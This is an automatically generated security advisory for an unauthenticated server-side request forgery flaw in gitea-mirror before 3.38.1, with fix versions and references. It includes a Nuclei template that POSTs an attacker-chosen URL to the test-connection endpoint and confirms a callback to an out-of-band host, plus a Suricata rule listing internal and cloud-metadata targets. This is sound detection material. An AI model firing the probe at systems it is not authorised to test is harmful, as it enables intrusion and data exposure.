CVE-2026-136177: gitea-mirror before 3.38.1 Unauthenticated SSRF via Connection Test Endpoints
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-30 07:36 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
RayLabsHQ gitea-mirror before 3.38.1 contains a server-side request forgery vulnerability that allows unauthenticated attackers to make the server send HTTP requests by supplying a url to /api/gitea/test-connection or /api/github/test-connection. Attackers can target internal network services and cloud instance metadata endpoints, reading response content leaked through upstream error messages returned by httpGet.
Description quoted from the CVE record (assigned by VulnCheck, published 2026-11-24).
Weakness: Server-Side Request Forgery (SSRF)
How it can be exploited
Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality low, integrity low, availability none. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: no. Technical impact: partial.
Public exploit evidence (Exploit Observer)
Exploit Observer found 5 code repositories naming this CVE.
Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.
See all 7 references on Exploit Observer
Live scores
- EPSS
- 0.006
low predicted chance of attack - VEDAS
- 0.985
strong exploit evidence - On CISA KEV
- Not listed
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| RayLabsHQ gitea-mirror | before 3.38.1 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
Fixed versions stated in the CVE record: 3.38.1.
Vendor guidance:
- GitHub Security Advisory (GHSA-9m33-xfrc-5jxw) (vendor-advisory)
- https://github.com/RayLabsHQ/gitea-mirror/commit/c6157cdaad67321625d315b0f2f836b982cfe335 (patch)
- gitea-mirror v3.38.1 Release Notes (release-notes)
How to detect it
Nuclei template (active check)
Gitea Mirror - Unauthenticated Server-Side Request Forgery
RayLabsHQ gitea-mirror before 3.38.1 exposes /api/gitea/test-connection without authentication. The route issues a server-side GET to the attacker-supplied `url` (appending /api/v1/user). This template points `url` at an out-of-band host and confirms the callback.
Name and description quoted from the template, written by VEDAS.
The template sends 1 request (GET /api/gitea/test-connection); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2026-136177.yamlShow the template (40 lines)
id: CVE-2026-136177
info:
name: "Gitea Mirror - Unauthenticated Server-Side Request Forgery"
author: vedas-arpsyndicate
severity: high
description: |
RayLabsHQ gitea-mirror before 3.38.1 exposes /api/gitea/test-connection without authentication. The route issues a
server-side GET to the attacker-supplied `url` (appending /api/v1/user). This template points `url` at an
out-of-band host and confirms the callback.
reference:
- https://www.exploit.observer/?keyword=CVE-2026-136177&match=exact
- https://subdomain.center/?engine=ammonites&keyword=gitea-mirror&match=exact
classification:
cve-id: CVE-2026-136177
cwe-id: CWE-918
metadata:
verified: false
tags: cve,cve2026,gitea-mirror,ssrf,oast
http:
- method: POST
path:
- "{{BaseURL}}/api/gitea/test-connection"
headers:
Content-Type: application/json
body: '{"url": "http://{{interactsh-url}}", "token": "vedas"}'
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "/api/v1/user"
CVE-2026-136177.yaml on GitHub
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-136177 Gitea Mirror - Unauthenticated SSRF to Internal or Metadata Target. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-136177 Gitea Mirror - Unauthenticated SSRF to Internal or Metadata Target"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/test-connection"; nocase; pcre:"/^\/api\/(gitea|github)\/test-connection/i"; http.request_body; content:"url"; nocase; content:"token"; nocase; pcre:"/\x22url\x22\s*\x3a\s*\x22(https?\x3a\/\/)?(localhost|127\.|10\.|169\.254\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.|0\.0\.0\.0|\[)/i"; classtype:web-application-attack; reference:cve,CVE-2026-136177; reference:url,https://www.exploit.observer/?keyword=CVE-2026-136177&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=gitea-mirror&match=exact; sid:1113602; rev:1;)
CVE-2026-136177.rules on GitHub
References
Vendor advisories and patches
- GitHub Security Advisory (GHSA-9m33-xfrc-5jxw) (vendor-advisory)
- https://github.com/RayLabsHQ/gitea-mirror/commit/c6157cdaad67321625d315b0f2f836b982cfe335 (patch)
- gitea-mirror v3.38.1 Release Notes (release-notes)
Technical analysis and advisories
- https://github.com/RayLabsHQ/gitea-mirror/blob/v3.38.0/src/pages/api/gitea/test-connection.ts#L84-L105 (technical-description)
- VulnCheck Advisory: gitea-mirror before 3.38.1 Unauthenticated SSRF via Connection Test Endpoints (third-party-advisory)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.
Supporting partners